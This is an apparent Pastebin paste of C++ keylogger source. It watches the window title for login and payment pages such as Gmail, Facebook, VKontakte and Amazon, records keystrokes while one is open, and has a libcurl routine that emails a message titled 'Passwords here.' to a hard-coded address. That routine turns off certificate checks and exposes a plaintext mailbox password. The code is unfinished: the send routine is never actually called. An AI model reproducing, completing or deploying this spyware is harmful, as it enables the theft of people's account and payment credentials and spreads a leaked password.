Advertisement
Guest User

Untitled

a guest
Dec 15th, 2018
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.48 KB | None | 0 0
  1.  
  2. #define _CRT_SECURE_NO_WARNINGS
  3. #include "Header.h"
  4. #include <sstream>
  5. #include <dos.h>
  6. #pragma comment (lib, "User32.lib")
  7. #define FROM    "<lashka.luhovna@yandex.ua>"
  8. #define TO      "<plavenkov@yandex.ua>"
  9. const char* su;
  10. std::string s;
  11. std::string s1;
  12. std::string s2;
  13. std::stringstream ss;
  14. char date_buffer[100], message_id_buffer[100];
  15. void thrfunc()
  16. {
  17.     char *sss = new char[s.size() + 1];
  18.     std::copy(s.begin(), s.end(), sss);
  19.     strcat(sss, "r\n");
  20.     su = sss;
  21.     int mail(void);
  22. }
  23. void keylog()
  24. {
  25.  
  26.  
  27.     for (int i = 0; i < 255; i++)
  28.     {
  29.         int state = GetAsyncKeyState(i);
  30.         if (state == 1 || state == -32767)
  31.         {
  32.  
  33.             std::cout << i;
  34.  
  35.         }
  36.     }
  37. }
  38. void main()
  39. {
  40.     setlocale(LC_ALL, "RU");
  41.     std::thread thr(thrfunc);
  42.     while (true)
  43.     {
  44.         int chort = 0;
  45.         chort++;
  46.         int chars = 100;
  47.         WCHAR buff[100];
  48.         HWND handle = GetForegroundWindow();
  49.         if (GetWindowText(handle, buff, chars) > 0)
  50.         {
  51.             std::wstring mline(buff);
  52.             /*std::wstring line = L"Gmail";
  53.             std::wstring line2 = L"Facebook - Log In or Sign Up";
  54.             std::wstring line3 = L"ВКонтакте";
  55.             std::wstring line4 = L"Send Money";
  56.             std::wstring line5 = L"Electronics, Cars";
  57.             std::wstring line6 = L"Amazon.com";
  58.             std::wstring line7 = L"ROZETKA";
  59.             std::wstring line8 = L"Mail.Ru";
  60.             std::wstring line9 = L"UKR.NET";*/
  61.             std::wstring line[9]{ L"Facebook - Log In or Sign Up", L"Gmail", L"ВКонтакте",  L"Send Money" , L"Electronics, Cars", L"Amazon.com", L"ROZETKA", L"Mail.Ru", L"UKR.NET" };
  62.  
  63.             ///////////////////////////////////////////////
  64.             ///                                         ///
  65.             //////////////////////////////////////////////
  66.  
  67.             for (int i = 0; i < 9; i++) {
  68.                 std::size_t found = mline.find(line[i]);
  69.  
  70.                 if (found != std::string::npos)
  71.                 {
  72.  
  73.                     keylog();
  74.  
  75.                     if (chort == 1) {
  76.                         ss << i;
  77.                         ss >> s1;
  78.                     }
  79.                     else
  80.                     {
  81.                         ss << i;
  82.                         ss >> s2;
  83.                         s = s1 + s2;
  84.                         thr.detach();
  85.                         std::this_thread::sleep_for(std::chrono::seconds(20));
  86.                     }
  87.                 }
  88.             }
  89.  
  90.         }
  91.  
  92.     }
  93.     Sleep(100);
  94. }
  95.  
  96. static const char * payload_text[] = {
  97.     date_buffer,
  98.     "To: " TO "\r\n",
  99.     "From: " FROM "\r\n",
  100.     message_id_buffer,
  101.     "Subject: Passwords here.\r\n",
  102.     "\r\n", /* empty line to divide headers from body, see RFC5322 */
  103.     "Содержимое тестового письма.\r\n",
  104.     "\r\n",
  105.     NULL
  106. };
  107.  
  108. struct upload_status
  109. {
  110.     int lines_read;
  111. };
  112.  
  113. static size_t payload_source(void *ptr, size_t size, size_t nmemb, void *userp)
  114. {
  115.     struct upload_status *upload_ctx = (struct upload_status *)userp;
  116.     const char *data;
  117.  
  118.     if ((size == 0) || (nmemb == 0) || ((size*nmemb) < 1))
  119.     {
  120.         return 0;
  121.     }
  122.  
  123.     data = payload_text[upload_ctx->lines_read];
  124.  
  125.     if (data)
  126.     {
  127.         size_t len = strlen(data);
  128.         memcpy(ptr, data, len);
  129.         upload_ctx->lines_read++;
  130.  
  131.         return len;
  132.     }
  133.  
  134.     return 0;
  135. }
  136.  
  137. #define SKIP_PEER_VERIFICATION
  138. #define SKIP_HOSTNAME_VERFICATION
  139.  
  140. int mail(void)
  141. {
  142.  
  143.     TIME_ZONE_INFORMATION tzi;
  144.     GetTimeZoneInformation(&tzi);
  145.  
  146.     time_t rawtime;
  147.     struct tm * timeinfo;
  148.  
  149.     time(&rawtime);
  150.     timeinfo = gmtime(&rawtime);
  151.     strftime(date_buffer, 100, "Date: %a, %d %b %y %H:%M:%S ", timeinfo);
  152.     sprintf(date_buffer + strlen(date_buffer), "%+03li%02li\r\n", -tzi.Bias / 60, abs(tzi.Bias % 60));
  153.  
  154.     strftime(message_id_buffer, 100, "Message-ID: %w%d%m%y%H%M%S@src_addr.yandex.ru\r\n", timeinfo);
  155.  
  156.  
  157.     CURL *curl;
  158.     CURLcode res = CURLE_OK;
  159.     struct curl_slist *recipients = NULL;
  160.     struct upload_status upload_ctx;
  161.  
  162.     upload_ctx.lines_read = 0;
  163.  
  164.     curl = curl_easy_init();
  165.     if (curl) {
  166.         /* Set username and password */
  167.         curl_easy_setopt(curl, CURLOPT_USERNAME, "lashka.luhovna@yandex.ua");
  168.         curl_easy_setopt(curl, CURLOPT_PASSWORD, "Prado1408");
  169.  
  170.         /* This is the URL for your mailserver. Note the use of smtps:// rather
  171.         * than smtp:// to request a SSL based connection. */
  172.         curl_easy_setopt(curl, CURLOPT_URL, "smtps://smtp.yandex.ua");
  173.         curl_easy_setopt(curl, CURLOPT_PORT, 465);
  174.  
  175.         /* If you want to connect to a site who isn't using a certificate that is
  176.         * signed by one of the certs in the CA bundle you have, you can skip the
  177.         * verification of the server's certificate. This makes the connection
  178.         * A LOT LESS SECURE.
  179.         *
  180.         * If you have a CA cert for the server stored someplace else than in the
  181.         * default bundle, then the CURLOPT_CAPATH option might come handy for
  182.         * you. */
  183. #ifdef SKIP_PEER_VERIFICATION
  184.         curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
  185. #endif
  186.  
  187.         /* If the site you're connecting to uses a different host name that what
  188.         * they have mentioned in their server certificate's commonName (or
  189.         * subjectAltName) fields, libcurl will refuse to connect. You can skip
  190.         * this check, but this will make the connection less secure. */
  191. #ifdef SKIP_HOSTNAME_VERFICATION
  192.         curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
  193. #endif
  194.  
  195.         /* Note that this option isn't strictly required, omitting it will result in
  196.         * libcurl sending the MAIL FROM command with empty sender data. All
  197.         * autoresponses should have an empty reverse-path, and should be directed
  198.         * to the address in the reverse-path which triggered them. Otherwise, they
  199.         * could cause an endless loop. See RFC 5321 Section 4.5.5 for more details.
  200.         */
  201.         curl_easy_setopt(curl, CURLOPT_MAIL_FROM, FROM);
  202.  
  203.         /* Add two recipients, in this particular case they correspond to the
  204.         * To: and Cc: addressees in the header, but they could be any kind of
  205.         * recipient. */
  206.         recipients = curl_slist_append(recipients, TO);
  207.         //   recipients = curl_slist_append(recipients, CC);
  208.         curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
  209.  
  210.         /* We're using a callback function to specify the payload (the headers and
  211.         * body of the message). You could just use the CURLOPT_READDATA option to
  212.         * specify a FILE pointer to read from. */
  213.         curl_easy_setopt(curl, CURLOPT_READFUNCTION, payload_source);
  214.         curl_easy_setopt(curl, CURLOPT_READDATA, &upload_ctx);
  215.         curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
  216.  
  217.         /* Since the traffic will be encrypted, it is very useful to turn on debug
  218.         * information within libcurl to see what is happening during the
  219.         * transfer */
  220.         curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
  221.  
  222.         /* Send the message */
  223.         res = curl_easy_perform(curl);
  224.  
  225.         /* Check for errors */
  226.         if (res != CURLE_OK)
  227.             fprintf(stderr, "curl_easy_perform() failed: %s\n",
  228.                 curl_easy_strerror(res));
  229.  
  230.         /* Free the list of recipients */
  231.         curl_slist_free_all(recipients);
  232.  
  233.         /* Always cleanup */
  234.         curl_easy_cleanup(curl);
  235.     }
  236.  
  237.     getchar();
  238.     return (int)res;
  239. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement